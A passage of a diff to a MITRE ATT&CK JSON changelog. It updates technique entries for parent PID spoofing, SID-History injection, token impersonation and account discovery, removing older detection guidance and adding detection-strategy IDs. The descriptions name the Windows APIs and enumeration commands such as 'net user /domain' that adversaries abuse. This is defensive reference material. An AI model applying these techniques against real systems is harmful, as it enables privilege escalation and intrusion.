Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n-\\n-Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}",
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+ "new": [],
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+ "changelog_datacomponent_detections": {
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+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0498: Behavior\u2011chain detection for T1134.003 Make and Impersonate Token (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:49:06.759000+00:00",
+ "name": "Parent PID Spoofing",
+ "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1134/004",
+ "external_id": "T1134.004"
+ },
+ {
+ "source_name": "XPNSec PPID Nov 2017",
+ "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
+ "url": "https://blog.xpnsec.com/becoming-system/"
+ },
+ {
+ "source_name": "CounterCept PPID Spoofing Dec 2018",
+ "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
+ "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
+ },
+ {
+ "source_name": "Microsoft UAC Nov 2018",
+ "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
+ "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
+ },
+ {
+ "source_name": "Microsoft Process Creation Flags May 2018",
+ "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
+ "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
+ },
+ {
+ "source_name": "Secuirtyinbits Ataware3 May 2019",
+ "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
+ "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
+ },
+ {
+ "source_name": "DidierStevens SelectMyParent Nov 2009",
+ "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
+ "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
+ },
+ {
+ "source_name": "CTD PPID Spoofing Macro Mar 2019",
+ "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
+ "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Wayne Silva, F-Secure Countercept"
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.759000+00:00\", \"old_value\": \"2025-04-16 20:37:18.203000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n\\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n-\\n-Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0489: Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-18 18:34:49.414000+00:00",
+ "modified": "2025-10-24 17:49:16.316000+00:00",
+ "name": "SID-History Injection",
+ "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1134/005",
+ "external_id": "T1134.005"
+ },
+ {
+ "source_name": "Microsoft SID",
+ "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
+ },
+ {
+ "source_name": "Microsoft SID-History Attribute",
+ "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
+ "url": "https://msdn.microsoft.com/library/ms679833.aspx"
+ },
+ {
+ "source_name": "Microsoft Well Known SIDs Jun 2017",
+ "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
+ "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
+ },
+ {
+ "source_name": "Microsoft Get-ADUser",
+ "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
+ "url": "https://technet.microsoft.com/library/ee617241.aspx"
+ },
+ {
+ "source_name": "AdSecurity SID History Sept 2015",
+ "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
+ "url": "https://adsecurity.org/?p=1772"
+ },
+ {
+ "source_name": "Microsoft DsAddSidHistory",
+ "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
+ "url": "https://msdn.microsoft.com/library/ms677982.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Alain Homewood, Insomnia Security",
+ "Vincent Le Toux"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Process: OS API Execution\", \"User Account: User Account Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.316000+00:00\", \"old_value\": \"2025-04-25 14:47:45.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Examine data in user\\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\\n\\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Examine data in user\\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\\n-\\n-Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1015: Active Directory Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Metadata)",
+ "DS0009: Process (OS API Execution)",
+ "DS0026: Active Directory (Active Directory Object Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0136: Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-18 16:39:06.289000+00:00",
+ "modified": "2025-10-24 17:49:04.117000+00:00",
+ "name": "Token Impersonation/Theft",
+ "description": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1134/001",
+ "external_id": "T1134.001"
+ },
+ {
+ "source_name": "Microsoft Command-line Logging",
+ "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
+ "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
+ },
+ {
+ "source_name": "DuplicateToken function",
+ "description": "Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jonny Johnson"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.117000+00:00\", \"old_value\": \"2025-04-15 19:58:48.792000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0482: Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "external_id": "T1087"
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+ "source_name": "AWS List Users",
+ "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
+ "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
+ },
+ {
+ "source_name": "Google Cloud - IAM Servie Accounts List API",
+ "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
+ "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
+ },
+ {
+ "source_name": "Elastic - Koadiac Detection with EQL",
+ "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
+ "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
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+ "x_mitre_contributors": [
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+ "Microsoft Threat Intelligence Center (MSTIC)",
+ "Travis Smith, Tripwire"
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+ "x_mitre_domains": [
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+ "Identity Provider",
+ "Linux",
+ "macOS",
+ "Office Suite",
+ "SaaS",
+ "Windows"
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+ ],
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+ "shared": [],
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+ "dropped": [
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+ "shared": [],
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "phase_name": "discovery"
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+ "url": "https://attack.mitre.org/techniques/T1087/004",
+ "external_id": "T1087.004"
+ },
+ {
+ "source_name": "AWS List Roles",
+ "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
+ "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
+ },
+ {
+ "source_name": "AWS List Users",
+ "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
+ "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
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+ "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
+ "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
+ "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
+ },
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+ "source_name": "Google Cloud - IAM Servie Accounts List API",
+ "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
+ "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
+ },
+ {
+ "source_name": "Microsoft AZ CLI",
+ "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
+ },
+ {
+ "source_name": "Microsoft msolrolemember",
+ "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"
+ },
+ {
+ "source_name": "GitHub Raindance",
+ "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
+ "url": "https://github.com/True-Demon/raindance"
+ }
+ ],
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+ "shared": [],
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+ "DET0386: Cloud Account Enumeration via API, CLI, and Scripting Interfaces"
+ ],
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+ },
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+ "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 21:08:26.480000+00:00",
+ "modified": "2025-10-24 17:48:31.050000+00:00",
+ "name": "Domain Account",
+ "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) ",
+ "kill_chain_phases": [
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+ "phase_name": "discovery"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1087/002",
+ "external_id": "T1087.002"
+ },
+ {
+ "source_name": "CrowdStrike StellarParticle January 2022",
+ "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
+ "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
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+ ],
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+ "x_mitre_attack_spec_version": "3.2.0",
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+ "Miriam Wiesner, @miriamxyra, Microsoft Security"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.050000+00:00\", \"old_value\": \"2025-04-15 22:21:07.252000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
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+ "M1028: Operating System Configuration"
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+ "shared": [],
+ "new": [
+ "DET0129: Domain Account Enumeration Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
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+ "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 21:08:33.237000+00:00",
+ "modified": "2025-10-24 17:48:44.685000+00:00",
+ "name": "Email Account",
+ "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",
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+ "phase_name": "discovery"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1087/003",
+ "external_id": "T1087.003"
+ },
+ {
+ "source_name": "Black Hills Attacking Exchange MailSniper, 2016",
+ "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
+ "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/"
+ },
+ {
+ "source_name": "Google Workspace Global Access List",
+ "description": "Google. (n.d.). Retrieved March 16, 2021.",
+ "url": "https://support.google.com/a/answer/166870?hl=en"
+ },
+ {
+ "source_name": "Microsoft Exchange Address Lists",
+ "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.",
+ "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019"
+ },
+ {
+ "source_name": "Microsoft getglobaladdresslist",
+ "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.685000+00:00\", \"old_value\": \"2025-04-15 22:25:10.775000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
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+ "shared": [],
+ "new": [
+ "DET0229: Enumeration of Global Address Lists via Email Account Discovery"
+ ],
+ "dropped": []
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+ },
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+ "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 21:07:55.393000+00:00",
+ "modified": "2025-10-24 17:48:32.515000+00:00",
+ "name": "Local Account",
+ "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groups on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS, the dscl . list /Users command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1087/001",
+ "external_id": "T1087.001"
+ },
+ {
+ "source_name": "id man page",
+ "description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.",
+ "url": "https://linux.die.net/man/1/id"
+ },
+ {
